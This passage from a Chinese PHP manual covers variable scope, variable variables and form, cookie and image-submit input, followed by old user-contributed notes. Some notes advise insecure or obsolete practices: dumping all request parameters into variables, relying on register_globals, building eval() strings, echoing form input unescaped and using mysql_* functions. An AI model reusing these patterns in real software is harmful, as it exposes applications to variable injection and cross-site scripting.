  $vars = $GLOBALS['variables'];

  print $vars[stuff];

}

This really helps with big ugly form submissions.
tomek at pluton dot pl
11-Dec-2001 02:53
When defining static variables you may use such declarations:

static $var = 1; //numbers
static $var = 'strings';
static $var = array(1,'a',3); //array construct

but these ones would produce errors:

static $var = some_function('arg');
static $var = (some_function('arg'));
static $var = 2+3; //any expression
static $var = new object;
danno at wpi dot edu
24-Jul-2001 03:28
WARNING!  If you create a local variable in a function and then within that function assign it to a global variable by reference the object will be destroyed when the function exits and the global var will contain NOTHING!  This main sound obvious but it can be quite tricky you have a large script (like a phpgtk-based gui app ;-) ).

example:

function foo ()
{
   global $testvar;

   $localvar = new Object ();
   $testvar = &$localvar;
}

foo ();
print_r ($testvar);  // produces NOTHING!!!!

hope this helps someone before they lose all their hair
carpathia_uk at mail dot com
08-May-2001 05:21
On confusing aspect about global scope...

If you want to access a variable such as a cookie inside a function, but theres a chance it may not even be defined, you need to access it using he GLOBALS array, not by defining it as global.

This wont work correctly....

function isLoggedin()
{
global $cookie_username;
if (isset($cookie_username)
echo "blah..";
}

This will..

function isLoggedin()
{
if (isset($GLOBALS["cookie_username"]))
echo "blah..";
}
shevek at anarres dot org
05-Feb-2000 08:51
If you include a file from within a function using include(), the included file inherits the function scope as its own global scope, it will not be able to see top level globals unless they are explicit in the function.

$foo = "bar";
function baz() {
   global $foo; # NOTE THIS
   include("qux");
}
add a note add a note

后退 | 起点 | 前进
预定义变量 | 上一级 | 可变变量


可变变量

有时候使用可变变量名是很方便的。就是说，一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置，例如：

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号（$）以后，就可以作为一个可变变量的变量了。例如：

<?php
$$a = 'world';
?>

这时，两个变量都被定义了：$a 的内容是“hello”并且 $hello 的内容是“world”。因此，可以表述为：

<?php
echo "$a ${$a}";
?>

以下写法更准确并且会输出同样的结果：

<?php
echo "$a $hello";
?>

它们都会输出：hello world。

要将可变变量用于数组，必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时，解析器需要知道是想要 $a[1] 作为一个变量呢，还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是，对第一种情况用 ${$a[1]}，对第二种情况用 ${$a}[1]。

警告

注意，在 PHP 的函数和类的方法中，超全局变量不能用作可变变量。

add a note add a note User Contributed Notes
mot at tdvniikp dot ru
05-May-2006 11:41
You can simple access Globals by variable variables in functions, example:
<?php
function abc() {
   $context = '_SESSION';

   global $$context;
   if(isset($$context)) {
       var_dump($$context);
   }
}
abc();
?>
Florian Sonner
28-Apr-2006 11:44
If you have to access to variable variables in a method (or function) you can simply use the workaround below. That little example should print a list with all variables in $_POST. And if you want to access to the elements of the array, take a look at Shawn Beltz (thank you for the basic idea ;-) ) Note.

<?php
class Foo
{
   private $superglobal = 'POST';

   public function Bar()
   {
       var_dump(eval("return \$_$this->superglobal;"));
   }
}

$f = new Foo();
$f->Bar();
?>
jkimball4 [at) gmail (dot] c.o.m
11-Mar-2006 03:49
The correct code for the previous entry is:
<?php
 class foo
 {
     public $thing1 = 'a';
     public $thing2 = 'b';
       public $thing3 = 'c';

       public function getThing1()
       {
               return $this->thing1;
       }

       public function getThing2()
       {
               return $this->thing2;
       }

       public function getThing3()
       {
             return $this->thing3;
     }
 }

 $obj = new foo();

 for($i=1;$i<=3 ;$i++) {
     //note the very small change to the code inside the curly braces.
     print $obj->{"getThing".$i}();
 }
?>
bclark <at> digitalbc <dot> net
02-Mar-2006 12:18
using variable variables to loop through class methods or properties, not all that common, but useful if you need it.

class foo {
   public $thing1 = 'a';
   public $thing2 = 'b';
   public $thing3 = 'c';

   public function getThing1() {
       return $this->thing1;
   }
   public function getThing2() {
       return $this->thing3;
   }
   public function getThing3() {
       return $this->thing3;
   }
}

$obj = new foo();

for($i=0;$i <=3 ;$i++) {
   print $obj->{getThing.$i}."\n";
}

output is
a
b
c
Mephist0 [ Alkon dot com dot ar ]
05-Feb-2006 03:43
Wrong case :

$a = "hello";
$b = "world";

${$a}{$b} = "Wrong";

or

${$a} . "_" . {$b} = "Wrong";

Case :

${$a . "_" . $b} = "You got it";

print $hello_world; // Prints "You got it";

${$a . $b} = "You got it again";

print $helloworld; // Prints "You got it again";

--------------------------

Simple casses but... very helpfull...
ptc dot scrcrw at gmail dot com
22-Jan-2006 03:44
James, dear,
you could have just used <?php extract($_REQUEST); ?>.
denis at licejus dot lt
11-Jan-2006 03:34
Note regarding trojjer and James:

Well, isn't import_request_variables made for this already? :)
It is much safer, because it lets you add a prefix to the variable.

<?php
import_request_variables('gp','z');
echo $z_foo;
?>
fabio at noc dot soton dot ac dot uk
11-Oct-2005 07:15
A static variable variable sounds like an oxymoron and indeed cannot exist. If you define:

$var = "ciao";
static $$var = 0;

you get a parse error.
Regards,

Fabio
crap at anitechnic dot com
29-Jul-2005 09:35
I was trying to move a script from one server to the next, on the first server the $_GET and $_POST were auto declared, but not on the second.

rather than writing out $var = $_POST['var'] a million times I made this script that will turn anything GET'ed or POSTed into a variable.

$getar = $_GET;
$getkeys = array_keys($getar);

for($i=0; $i<count($getkeys); $i++){
$k = $getkeys[$i];
$v = $getar[$k];
${$k}=$v;
}

$getar = $_POST;
$getkeys = array_keys($getar);

for($i=0; $i<count($getkeys); $i++){
$k = $getkeys[$i];
$v = $getar[$k];
${$k}=$v;
}

hope it helps.

James
Polina
16-Jul-2005 12:13
Easy way to get a list of items selected by the user, using checkboxes and variable variables.

My form:
<?
include("mysql.inc.php");//my mysql connection

$proSQL = "SELECT * FROM products ORDER BY name"; //selecting products from DB
$pro_query = mysql_query($proSQL) or die($proSQL."<br>".mysql_error());
$pro_num = mysql_num_rows($pro_query); //number of products

print("<form action='theend.php' method='post'>");
$i=0;
while($products = mysql_fetch_object($pro_query)){
$i++;
print("<input type='checkbox' name='$i' value='$products->name'> $products->name<br>"); //print a checkbox with the product name
}
print("<input type='hidden' value='$pro_num' name='products_number'>");//number of products
print("<input type='submit'></form>");
?>

theend.php :
<?
$i=0;
while($i < $products_number){
$i++;
if($$i){
$message .="$$i<br>";
}
}
print("$message");//a list of checked products

?>
This will give a list of the products selected by the user.
I usually use it to send by e-mail with other informations collected from the form.
rafael at fuchs inf br
22-Mar-2005 12:08
You can use constants in variable variables, like I show below. This works fine:

<?
define("TEST","Fuchs");
$Fuchs = "Test";

echo TEST . "<BR>";
echo ${TEST};
?>

output:

Fuchs
Test
Anonymous
14-Mar-2005 11:25
It may be worth specifically noting, if variable names follow some kind of "template," they can be referenced like this:

<?php
// Given these variables ...
$nameTypes    = array("first", "last", "company");
$name_first  = "John";
$name_last    = "Doe";
$name_company = "PHP.net";

// Then this loop is ...
foreach($nameTypes as $type)
  print ${"name_$type"} . "\n";

// ... equivalent to this print statement.
print "$name_first\n$name_last\n$name_company\n";
?>

This is apparent from the notes others have left, but is not explicitly stated.
Shawn Beltz
04-Mar-2005 04:57
Forgot to mention, if you want to run the below as one big program, you'll have to undefine $foo in between assignments.
Shawn Beltz
03-Mar-2005 04:06
<?php
# Multidimensional variable variables

$foo = "this is foo.";
$ref = "foo";
print $$ref;
# prints "this is foo."

$foo[1]['a_z'] = "this is foo[1][a_z].";
$ref = "foo[1][a_z]";
print $$ref;
# Doesn't print anything!

$foo = "this is foo.";
$ref = "foo";
$erf = eval("return \$$ref;");
print $erf;
# prints "this is foo."

$foo[1]['a_z'] = "this is foo[1][a_z].";
$ref = "foo[1][a_z]";
$erf = eval("return \$$ref;");
print $erf;
# prints "this is foo[1][a_z]."

?>
29-Jan-2005 08:20
in response to "pear at inkas dot it"

${$_SESSION['var_name']} does work. What doesn''t work is something like this:

<?php
// consider file has been called with ?var=val
function test() {
   $val = '_GET';

   var_dump($$a);
   echo "\n";
   var_dump(${$_GET['var']});
}

test();

?>

will output

NULL
string(4) "_GET"

the use of $$a inside a function or method will not reference the superglobal ever, but instead look for a local variable $_GET, which will never exist, even if you try to create one by doing something like "$_GET = array();" inside the function. setting "global $_GET" inside the function won't work also. You simply can't create a reference to a superglobal inside a function or method by trying to access it via a variable variable.
yvind Vestavik, NTNU Norway
09-Jul-2003 10:45
I found a nice application to variable variables to be dynamic forms. Say that you have a form for entering information about persons, but don't know in advance for how many persons your users want to enter information. Just provide an extra submit-button to add an extra entry in the form. The previously entered values from the form will be displayed again and an extra form entry will be provided. There is no limit to how many times the users can add entries. When finally hitting the submit button, all entries can be handled.

<?php
if ($submit=='submit'){
  echo "Handle received data from form here";
}
else{
  //setting initial number of rows
  if (!isset($nr_entries)){
   $nr_entries = 1;
  }
  //if user pushed "more entries", increment $nr_entries by one
  if ($submit=='More Entries'){
   $nr_entries++;
  }
  echo"
  <FORM METHOD='post'>\n
  <INPUT TYPE='hidden' NAME='nr_entries' VALUE='$nr_entries'>\n
  ";
  for ($i=1; $i<=$nr_entries; $i++){
   $temp = "name_$i";
   $value = $$temp; // Here is how i reference entered values
   echo "<INPUT TYPE='text' name='name_$i' value='$value'><br>\n";
  }
  echo"
  <INPUT TYPE='submit' NAME='submit' VALUE='More Entries'><br>
  <INPUT TYPE='submit' NAME='submit' VALUE='submit'>
  </FORM>
  ";
}
?>
[Editor Note: Many (new) people do this but it's much easier to simply use arrays instead of variable variables for this task. name="somename[]" in the form. Also this code requires register_globals = on, so, fix that. -Philip]
sir_hmba AT yahoo DOT com
07-May-2003 06:08
This is somewhat redundant, but I didn't see an example that combined dynamic reference of *both* object and attribute names.

Here's the code:
//----------------------------------------
class foo
{
   var $bar;
   var $baz;

   function foo()
   {
       $this->bar = 3;
       $this->baz = 6;
   }
}

$f = new foo();
echo "f->bar=$f->bar  f->baz=$f->baz\n";

$obj  = 'f';
$attr = 'bar';
$val  = $$obj->{$attr};

echo "obj=$obj  attr=$attr  val=$val\n";
//----------------------------------------

And here's the output:

f->bar=3  f->baz=6
$obj=f  $attr=bar  $val=3
vrillusions at neo dot rr dot com
04-Mar-2003 03:01
Here is a very simple way of getting items from the $_POST superglobal into seperate variables.  I did this so I can easily print information in a form without having to worry about "this value isn't set" messages.  will create variables in the form $frm_nameInForm.

foreach($_POST as $key => $value) {
       $varname = "frm_".$key;
       $$varname = $value;
}

[Editor Note: Instead of this code, you could simply use extract() or import_request_variables() -Philip]
Dave
08-Feb-2003 04:40
[Editor's Note]
If you truly want to extract the variables from super globals instead of looping over the array use extract(); or turn register globals on via an .htaccess file so it is enabled only for the script(s) that depend on it.
[End Note]

A lot of the php code out there relies on register_globals being set to "on" in the php.ini -- which may not be an option for some developers. It seems that the following function would attempt to overcome that issue for later versions of php. I haven't tried it out yet, as I have no need for it right now -- and it may pose some of the same issues as if you had register_globals set to "on" -- but here it is, anyway.

function getRequestVariables()
{
   foreach ($_POST as $postKey => $postValue)
   {
       global $$postKey;
       $$postKey = trim (stripslashes ($postValue));
   }

   foreach ($_GET as $getKey => $getValue)
   {
       global $$getKey;
       if (empty($$getKey))
       {
           $$getKey = trim (stripslashes ($getValue));
       }
   }
}
info at gieson dot com
18-Oct-2002 11:22
I needed to dynamically evaluate a varible.... i wanted to create the name of the variable on the fly and then get it's value. In other words, I wanted to dynamically build the name of a variable, and then evaluate it.

Example:

These items already exists:
$var1 = "bird";
$var2 = "cat";
$var3 = "dog";
... let's say there are 3 million of these variables in a series...

Now i want to find out which var has a value of "dog" - so i need to dynamically build the name of the variable. You can do the FOR loop thing to create a string that represents the name of the variable, but how on earth do you evaluate a string as if it were a variable? enter "variable variables"

for ($i=0; $i<4; $i++){

//create the label of the variable;
     $var_label_string = "var$i";

//Now evaluate that string as if it were a variable !;
     $value_of_that_var = ${$var_label_string};

//now find out if that var is equal to "dog";
     if ($value_of_that_var == "dog"){
         print "Dog found here: $var_label_string";
     }
}
antony dot booth at nodomain dot here
19-Sep-2002 10:17
You may think of using variable variables to dynamically generate variables from an array, by doing something similar to: -

<?php
 foreach ($array as $key => $value)
 {
  $$key= $value;
 }

?>

This however would be reinventing the wheel when you can simply use:

<?php
extract( $array, EXTR_OVERWRITE);
?>

Note that this will overwrite the contents of variables that already exist.

Extract has useful functionality to prevent this, or you may group the variables by using prefixes too, so you could use: -

EXTR_PREFIX_ALL

<?php
$array =array("one" => "First Value",
"two" => "2nd Value",
"three" => "8"
               );

extract( $array, EXTR_PREFIX_ALL, "my_prefix_");

?>

This would create variables: -
$my_prefix_one
$my_prefix_two
$my_prefix_three

containing: -
"First Value", "2nd Value" and "8" respectively
jupp-mueller at t-online dot de
08-Sep-2002 09:29
I found another undocumented/cool feature: variable member variables in classes. It's pretty easy:

class foo {
  function bar() {
   $bar1 = "var1";
   $bar2 = "var2";
   $this->{$bar1}= "this ";
   $this->{$bar2} = "works";
  }
}

$test = new foo;
$test->bar();
echo $test->var1 . $test->var2;
thien_tmpNOSPAM at hotmail dot com
21-Aug-2002 06:37
You can also use variable variables and the string concat operator to generate suffixed (or prefixed) variables based on a base name.

For instance, if you wanted to dynamically generate this series of variables:

base1_suffix1
base1_suffix2
base2_suffix1
base2_suffix2
base3_suffix1
base3_suffix2

You can do this:

$bases = array('base1', 'base2', 'base3');
$suffixes = array('suffix1', suffix2);
foreach($bases as $base) {
   foreach($suffixes as $suffix) {
       ${$base.$suffix} = "whatever";
       #...etc
   }
}
(J. Dyer) jkdyer_at_vlsmaps_com
15-Aug-2002 08:08
A final note,

     I have not seen this anywhere else, and I am unsure exactly where to post this snippet.  This is another example from the same program I used in the previous entries.

     Essentially, I wanted to make a dynamically generated, multi-dimensional, associative array.  The dynamic generation consists of an association within the array of a certain key attribute within those variably-named objects from my previous example.

     Yes, there are other, easier ways to associate objects than this manner; however, for this particular project, the snippet is a solution for a requested "feature" on a website.  That feature consists of displaying the values from only certain, user-specified objects by their "key" value.

[note: the name of the variables/arrays change from example to example to avoid ambiguity within the script.  The $obj_array is the same as the previous $array.  Also, there are two different methods to place the $obj object into the array, and this was a trial to see which one worked.  They both do.]

<?php

// ...
       foreach ($this->obj_array as $key=>$obj){
           // if the key already exists..

           if ( array_key_exists($obj->GetKeyCode(), $this->new_array) ){
               $key = $obj->GetKeyCode();
               array_push($this->new_array[$key], $obj);
           } // end if

           // else if the key doesn't exist, create it.
           else{
               $key = $obj->GetKeyCode();
               $this->new_array[$key] = array();
               $this->new_array[$key][] = $obj;
           } // end else
         } // end foreach
//...

?>
(J. Dyer) jkdyer_at_vlsmaps_com
14-Aug-2002 12:32
... to continue my previous example of placing dynamically named objects into an array, we can easily pull everything back out again using a basic array function: foreach.

<?php
//...
   foreach($array as $key=>$object){

     echo $key." -- ".$object->print_fcn()." <br/>\n";

   } // end foreach

?>

Through this, we can pull a dynamically named object out of the array it was stored in without actually knowing its name.
J. Dyer
13-Aug-2002 04:05
Another use for this feature in PHP is dynamic parsing..

Due to the rather odd structure of an input string I am currently parsing, I must have a reference for each particular object instantiation in the order which they were created.  In addition, because of the syntax of the input string, elements of the previous object creation are required for the current one.

Normally, you won't need something this convolute.  In this example, I needed to load an array with dynamically named objects - (yes, this has some basic Object Oriented programming, please bare with me..)

<?php
   include("obj.class");

   // this is only a skeletal example, of course.
   $object_array = array();

   // assume the $input array has tokens for parsing.
   foreach ($input_array as $key=>$value){
     // test to ensure the $value is what we need.
         $obj = "obj".$key;
         $$obj = new Obj($value, $other_var);
         Array_Push($object_array, $$obj);
     // etc..
   }

?>

Now, we can use basic array manipulation to get these objects out in the particular order we need, and the objects no longer are dependant on the previous ones.

I haven't fully tested the implimentation of the objects.  The  scope of a variable-variable's object attributes (get all that?) is a little tough to crack.  Regardless, this is another example of the manner in which the var-vars can be used with precision where tedious, extra hard-coding is the only alternative.
adamhooper at videotron dot ca
10-Aug-2002 06:35
A lot of people use this feature when it's not really necessary or recommended. Instead of using $var1, $var2, $var3, etc, just use the array $var[]. Arrays can be used in HTML forms too.
John
19-Jul-2002 07:12
A string that looks like an array can be used as a variable variable, but it won't equal the array value.  Very odd.  It defies the naming rules.

$one[1] = 'John';
$two = 'one[1]';
echo "one={$one[1]} two={$$two}<br>"; // => one=John two=
$$two = "Doe";
echo "one={$one[1]} two={$$two}<br>"; // => one=John two=Doe
05-Jun-2002 02:34
/*The 'dollar dereferencing' (to coin a phrase) doesn't seem to be limited to two layers, even without curly braces.  Observe:*/

$one = "two";
$two = "three";
$three = "four";
$four = "five";
echo $$$$one; //prints 'five'.

/*This works for L-values as well.  So the below works the same way:*/

$one = "two";
$$one = "three";
$$$one = "four";
$$$$one = "five";
echo $$$$one; //still prints 'five'.

/*NOTE: PHP 4.2.1, Apache 2.0.36, Red Hat 7.2*/
25-May-2002 07:21
//to reference cells and place them in a table format
//for exmple cells named ref1_1, ref1_2, ref1_3, ref1_4, ref2_1 ... through ref4_4

print "<table border=\"0\"><tr><td valign=\"top\" >\n ";

for($i=1;$i<5;$i++)
   {
   for($h=1;$h<5;$h++)
       {
       $cellname = "ref$i"."_"."$h";
       print ($a_row->{$cellname});
       print "</td>";
       if ($h==4) print "</tr><tr> \n";
       print "<td valign=\"top\" > \n";

       }
   }
print "</td></tr></table>\n";
chrisNOSPAM at kampmeier dot net
09-Aug-2001 01:40
Note that normal variable variables will not be parsed in double-quoted strings. You'll have to use the braces to make it work, to resolve the ambiguity. For example:

$varname = "foo";
$foo = "bar";

print $$varname;  // Prints "bar"
print "$$varname";  // Prints "$foo"
print "${$varname}"; // Prints "bar"
phil at NO^SPAMw30wnzj00 dot com
21-Jun-2001 06:19
Expanding on the variable function note a bit:

when using variable methods the syntax is a bit different. to call a function whose name is contained in $var_func:

$this->$var_func($parm1, $parm2);

thus...

class A
{
  function f1($parm){echo $parm;}
}

$objA = new A();
$var_func = 'f1';
$objA->$var_func("moo");

produces 'moo'
dvds4free at yahoo dot com
16-Jun-2001 08:27
[Ed Note: You really should use the $_FILES array now.  It's less confusing and probably faster than that --alindeman@php.net]

To expand a little on hover@mi.ru notes:

When uploading multiple files, and you need to access the name,type, or size info from the file, use the following:
${"file".$i."_name"}
to access the name field of the file var.
mstearne at entermix dot com
11-May-2001 09:09
Variable variables techniques do not work when one of the "variables" is a constant.  The example below illustrates this.  This is probably the desired behavior for constants, but was confusing for me when I was trying to figure it out.  The alternative I used was to add the variables I needed to the $GLOBALS array instead of defining them as constants.

<?php

define("DB_X_NAME","database1");
define("DB_Y_NAME","database2");
$DB_Z_NAME="database3";

function connectTo($databaseName){
global $DB_Z_NAME;

$fullDatabaseName="DB_".$databaseName."_NAME";
return ${$fullDatabaseName};

}

print "DB_X_NAME is ".connectTo("X")."<br>";
print "DB_Y_NAME is ".connectTo("Y")."<br>";
print "DB_Z_NAME is ".connectTo("Z")."<br>";

?>
[Editor Note: For variable constants, use constant() --Philip]
bpotier at edreamers dot org
27-Feb-2001 01:11
A good example of the use of variable variables name. Imagine that you want to modify at the same time a list of more than one record from a db table.
1) You can easily create a dynamic form using PHP. Name your form elements using a static name and the record id
ex: <input name="aninput<?php echo $recordid?>" which gives in the output something like <input name="aninput15">

2)You need to provide to your form action/submit script the list of records ids via an array serialized and urlencoded via an hidden field (to decode and un serialize once in the submit script)

3) In the script used to submit you form you can access the input value by using the variable ${'aninput'.$recordid} to dynamically create as many UPDATE query as you need

[Editor Note: Simply use an array instead, for example: <input name="aninput[<?php echo $recordid?>]" And loop through that array. -Philip]
dnl at au dot ru
09-Dec-2000 03:01
By the way...
Variable variables can be used as pointers to objects' properties:
<?
class someclass {
  var $a = "variable a";
  var $b = "another variable: b";
  }

$c = new someclass;
$d = "b";
echo $c->{$d};
?>
outputs: another variable: b
mccoyj at mail dot utexas dot edu
04-Nov-2000 07:36
There is no need for the braces for variable object names...they are only needed by an ambiguity arises concerning which part of the reference is variable...usually with arrays.

class Schlemiel {
var $aVar = "foo";
}

$schlemiel = new Schlemiel;
$a = "schlemiel";
echo $$a->aVar;

This code outputs "foo" using PHP 4.0.3.

Hope this helps...
- Jordan
add a note add a note

后退 | 起点 | 前进
变量范围 | 上一级 | 来自 PHP 之外的变量


来自 PHP 之外的变量

HTML 表单（GET 和 POST）

当一个表单体交给 PHP 脚本时，表单中的信息会自动在脚本中可用。有很多方法访问此信息，例如：

例子 12-8. 一个简单的 HTML 表单

<form action="foo.php" method="POST">
    Name:  <input type="text" name="username"><br />
    Email: <input type="text" name="email"><br />
    <input type="submit" name="submit" value="Submit me!" />
</form>

根据特定的设置和个人的喜好，有很多种方法访问 HTML 表单中的数据。例如：

例子 12-9. 从一个简单的 POST HTML 表单访问数据

<?php
// 自 PHP 4.1.0 起可用
   echo $_POST['username'];
   echo $_REQUEST['username'];
   import_request_variables('p', 'p_');
   echo $p_username;
// 自 PHP 3 起可用。自 PHP 5.0.0 起，这些较长的预定义变量
// 可用 register_long_arrays 指令关闭。
   echo $HTTP_POST_VARS['username'];
// 如果 PHP 指令 register_globals = on 时可用。不过自
// PHP 4.2.0 起默认值为 register_globals = off。
// 不提倡使用/依赖此种方法。
   echo $username;
?>

使用 GET 表单也类似，只不过要用适当的 GET 预定义变量。GET 也适用于 QUERY_STRING（URL 中在“?”之后的信息）。因此，举例说，http://www.example.com/test.php?id=3 包含有可用 $_GET['id'] 访问的 GET 数据。参见 $_REQUEST 和 import_request_variables()。

注: 超全局变量和 $_POST 以及 $_GET 一样，自 PHP 4.1.0 起可用。

如上所示，在 PHP 4.2.0 之前 register_globals 的默认值是 on。在 PHP 3 中其值总是 on。PHP 社区鼓励大家不要依赖此指令，建议在编码时假定其为 off。

注: magic_quotes_gpc 配置指令影响到 Get，Post 和 Cookie 的值。如果打开，值 (It's "PHP!") 会自动转换成 (It\'s \"PHP!\")。数据库的插入就需要转义。参见 addslashes()，stripslashes() 和 magic_quotes_sybase。

PHP 也懂得表单变量上下文中的数组（参见相关常见问题）。例如可以将相关的变量编成组，或者用此特性从多选输入框中取得值。例如，将一个表单 POST 给自己并在提交时显示数据：

例子 12-10. 更复杂的表单变量

<?php
if (isset($_POST['action']) && $_POST['action'] == 'submitted') {
    echo '<pre>';

    print_r($_POST);
    echo '<a href="'. $_SERVER['PHP_SELF'] .'">Please try again</a>';

    echo '</pre>';
} else {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    Name:  <input type="text" name="personal[name]"><br />
    Email: <input type="text" name="personal[email]"><br />
    Beer: <br>
    <select multiple name="beer[]">
        <option value="warthog">Warthog</option>
        <option value="guinness">Guinness</option>
        <option value="stuttgarter">Stuttgarter Schwabenbr</option>
    </select><br />
    <input type="hidden" name="action" value="submitted" />
    <input type="submit" name="submit" value="submit me!" />
</form>
<?php
}
?>

在 PHP 3 中，变量使用中的数组仅限于一维数组。在 PHP 4 中，没有此种限制。

IMAGE SUBMIT 变量名

当提交表单时，可以用一幅图像代替标准的提交按钮，用类似这样的标记：

<input type="image" src="image.gif" name="sub" />

当用户点击到图像中的某处时，相应的表单会被传送到服务器，并加上两个变量 sub_x 和 sub_y。它们包含了用户点击图像的坐标。有经验的用户可能会注意到被浏览器发送的实际变量名包含的是一个点而不是下划线（即 sub.x 和 sub.y），但 PHP 自动将点转换成了下划线。

HTTP Cookies

PHP 透明地支持 Netscape 规范定义中的 HTTP cookies。Cookies 是一种在远端浏览器端存储数据并能追踪或识别再次访问的用户的机制。可以用 setcookie() 函数设定 cookies。Cookies 是 HTTP 信息头中的一部分，因此 SetCookie 函数必须在向浏览器发送任何输出之前调用。对于 header() 函数也有同样的限制。Cookie 数据会在相应的 cookie 数据数组中可用，例如 $_COOKIE，$HTTP_COOKIE_VARS 和 $_REQUEST。更多细节和例子见 setcookie() 手册页面。

如果要将多个值赋给一个 cookie 变量，必须将其赋成数组。例如：

<?php
  setcookie("MyCookie[foo]", 'Testing 1', time()+3600);
  setcookie("MyCookie[bar]", 'Testing 2', time()+3600);
?>

这将会建立两个单独的 cookie，尽管 MyCookie 在脚本中是一个单一的数组。如果想在仅仅一个 cookie 中设定多个值，考虑先在值上使用 serialize() 或 explode()。

注意在浏览器中一个 cookie 会替换掉上一个同名的 cookie，除非路径或者域不同。因此对于购物车程序可以保留一个计数器并一起传递，例如：

例子 12-11. 一个 setcookie() 的示例

<?php
if (isset($_COOKIE['count'])) {
    $count = $_COOKIE['count'] + 1;
} else {
    $count = 1;
}
setcookie('count', $count, time()+3600);
setcookie("Cart[$count]", $item, time()+3600);
?>

变量名中的点

通常，PHP 不会改变传递给脚本中的变量名。然而应该注意到点（句号）不是 PHP 变量名中的合法字符。至于原因，看看：
<?php
$varname.ext;  /* 非法变量名 */
?>
这时，解析器看到是一个名为 $varname 的变量，后面跟着一个字符串连接运算符，后面跟着一个裸字符串（即没有加引号的字符串，且不匹配任何已知的健名或保留字）'ext'。很明显这不是想要的结果。

出于此原因，要注意 PHP 将会自动将变量名中的点替换成下划线。

确定变量类型

因为 PHP 会判断变量类型并在需要时进行转换（通常情况下），因此在某一时刻给定的变量是何种类型并不明显。PHP 包括几个函数可以判断变量的类型，例如：gettype()，is_array()，is_float()，is_int()，is_object() 和 is_string()。参见类型一章。

add a note add a note User Contributed Notes
Hyan Christian
25-May-2006 03:51
Just to complete Murat TASARSU's post in this page.
I hope this will help anyone who is going to add it with fsockopen

<html>
  <body>
   <form method="post" action="">
     <input name="fruit" value="banana" /><br />
     <input name="color" value="yellow" /><br />
     <input type="submit" value="Click It">
   </form>
   <br />
   <b>POST</b> :
<?php
$be_var = $_POST;
foreach ( $be_var as $key => $value ) {
$be_var = $be_var."&".$key."=".$value;
}
echo str_replace( "Array&", "", $be_var ); // fruit=banana&color=yellow
?>
  </body>
</html>
ch1902uk at hotmail dot com
19-Mar-2006 03:47
Regarding image input buttons, above where it says:

"When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two *additional* variables, sub_x and sub_y. These contain the coordinates of the user click within the image."

This is the case with Firefox (and probably other standards browsers), however my experience with Internet Explorer is that when image inputs are clicked, they only submit the location of the click on the button and *not* the name of the input.

So if you have a form to move/delete entries like this

entry[]  [delete_0] [up_0] [down_0]
entry[]  [delete_1] [up_1] [down_1]
entry[]  [delete_2] [up_2] [down_2]

Then submitting the form in firefox will give you post variables such as

<?php
   $_POST['delete_2'];  // "Delete" - button value
   $_POST['delete_2_x'];  // 23 - x coord
   $_POST['delete_2_y'];  // 3 - y coord
?>

In IE you only get

<?php
   $_POST['delete_2_x'];  // 23 - x coord
   $_POST['delete_2_y'];  // 3 - y coord
?>

So if you are checking for what button was clicked do something like this

<?php
   for ($i = 0; $i < count($_POST['entry']); $i++)
   {
     if (isset($_POST['delete_' . $i . '_x']))
     {
         // do delete
     }
   }
?>
IMarvinTPA at bigfoot dot com
21-Nov-2005 01:52
I saw a note from
jan.gacioch at motorola dot com
posted on
19-Feb-2004 11:52
"Just a correction regarding 'cscotti@ifrance' contribution: code '$first = $item_value;' should be place just BEFORE the 'else if' condition and NOT AFTER."

This is not true, if the form has things posted in an unusual order, the $first value will be from a completely different variable.

Also, nobody mentioned this, but in the PHP.ini file there is an option called "always_populate_raw_post_data".  It'll fill in that variable.  It took me a while to find it.

I think it is bad to consider form name fields to be case sensitive, so my version uses all uppercase form values.

I also use a Request function to pull the data out of the global variables so I don't get warnings or errors when I try to access an undefined variable.  I usually just want an empty string for them.  (I have the same for Session and Server.)

UCase is shorter than strtoupper and I have a lot of converted ASP code and it was easier to create alias functions than to replace them.

<?

$_ATBREQUEST = multi_post_item();

function multi_post_item() {
   $rawpost = Globals('HTTP_RAW_POST_DATA');
   $array_output = array();
   $raw_input_items = split("&", addbit3(Server("QUERY_STRING"), $rawpost, "&"));
   foreach ($raw_input_items as $input_item) {
       // split this item into name/value pair
       //Print $input_item . BR;
       if ($input_item != "") {
           $item = split("=", $input_item);
           // form item name
           $item_name = ucase(urldecode($item[0]));
           // form item value
           if (empty($item[1]))
               $item_value = "";
           else
               $item_value = urldecode($item[1]);

           if ( !isset($array_output[$item_name]) ) {
               $array_output[$item_name] = $item_value;
           } elseif ( !is_array($array_output[$item_name]) ) {
               $first = $array_output[$item_name];
               $array_output[$item_name] = array();
               $array_output[$item_name][]= $first;
               $array_output[$item_name][]= $item_value;
           } else {
               $array_output[$item_name][]= $item_value;
           }
       }
   }
   return $array_output;
}

function Request2($param){
   if (empty($_REQUEST[$param])) {
       return "";
   }
   else
       return $_REQUEST[$param];
}

function Request($param){
   global $_ATBREQUEST;
   $uparam = ucase($param);
   if (empty($_ATBREQUEST[$uparam])) {
       return Request2($param);
   }
   else{
       if (is_array($_ATBREQUEST[$uparam])){
           return implode(", ", $_ATBREQUEST[$uparam]);
       }
       else
           return $_ATBREQUEST[$uparam];
   }
}
//We want the array
function RequestArray($param){
   global $_ATBREQUEST;
   $uparam = ucase($param);
   if (empty($_ATBREQUEST[$uparam])) {
       return array(Request2($param));
   }
   else{
       return $_ATBREQUEST[$uparam];
   }
}
//AddBit 1 and 2 are commas and semicolons respectively.
function AddBit3($mystr, $mynew, $mysep) {
   if ($mystr . "" == "")
       $mystr = $mynew;
   else
       $mystr .= $mysep . $mynew;
   return $mystr;
}

function Server($param){
   if (empty($_SERVER[$param]))
       return "";
   else
       return $_SERVER[$param];
}

function UCase($str){
   return strtoupper($str);
}

?>
aescomputer AT yahoo DOT com
28-Oct-2005 02:01
Here are two usefull functions for forms:

<?php
// clean html tags out of url attributes
   if(!empty($_REQUEST)){
       foreach($_REQUEST as $x => $y){
           $_REQUEST[$x] = str_replace('<', '&lt;', str_replace('>', '&gt;', $y));
       }
   }

// replace carrage returns in url attributes with <br>
   if(!empty($_REQUEST)){
       foreach($_REQUEST as $x => $y){
           $_REQUEST[$x] = str_replace("\n", '<br>', $y);
       }
   }
?>
mordae at mordae dot net
17-Jul-2005 08:47
Small note to previous post; $this can not be redeclared in PHP 5.
Jonas Lindel
11-Jul-2005 06:49
